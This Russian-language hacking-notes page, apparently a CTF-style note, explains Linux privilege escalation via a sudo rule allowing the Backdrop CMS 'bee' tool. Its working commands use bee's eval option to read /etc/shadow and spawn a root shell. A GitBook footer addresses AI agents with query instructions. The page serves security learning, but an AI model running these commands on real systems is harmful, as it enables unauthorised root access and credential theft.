> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-bee-binary-linux-privilege-escalation.md).

# Sudo bee Binary — повышение привилегий в Linux

## Что это такое

Повышение привилегий в sudoers начинается с команд, которые пользователь может запускать через `sudo`. Неправильно настроенные бинарные файлы, небезопасные аргументы скриптов, обработка символических ссылок и уязвимые версии sudo могут превратить ограниченные права sudo в оболочку root. Эта конкретная страница посвящена **Sudo (бинарник bee)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
sudo -l
sudo --version
```

## Примеры

### **Повышение привилегий с помощью бинарника bee**

Проверяем привилегии sudo:

```bash
sudo -l
```

Мы можем запускать **/usr/local/bin/bee** от имени root.

<figure><img src="/files/7660ceb761620c6e6e2b9fc26e9aa29f1d29dd48" alt=""><figcaption></figcaption></figure>

**Анализ Bee**

{% hint style="info" %}
Bee — это инструмент администрирования для **Backdrop CMS**, аналогичный **Drush** для Drupal. Он позволяет выполнять различные команды.
{% endhint %}

`Использование: bee [global-options] [options] [arguments]`

<figure><img src="/files/35b3608bdcee504e52faf34467a47574b2960e34" alt=""><figcaption></figcaption></figure>

Мы обнаруживаем **eval** опция, которая позволяет выполнять произвольный PHP-код.

<figure><img src="/files/62e604337cc0a644bc1a59e78311847249de6d6e" alt=""><figcaption></figcaption></figure>

**Чтение /etc/shadow**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'echo shell_exec("cat /etc/shadow 2>&1");'
```

{% endcode %}

<figure><img src="/files/82f7ef9ae42a6bbbef370f455dc831e46d291868" alt=""><figcaption></figcaption></figure>

**Получена root-оболочка**

{% code overflow="wrap" %}

```bash
sudo /usr/local/bin/bee --root=/var/www/html eval 'shell_exec("/bin/bash -p");'
```

{% endcode %}

<figure><img src="/files/3bcef92f629a8a288ec451e91d9f34973d2cf0cf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/sudoers/sudo-bee-binary-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
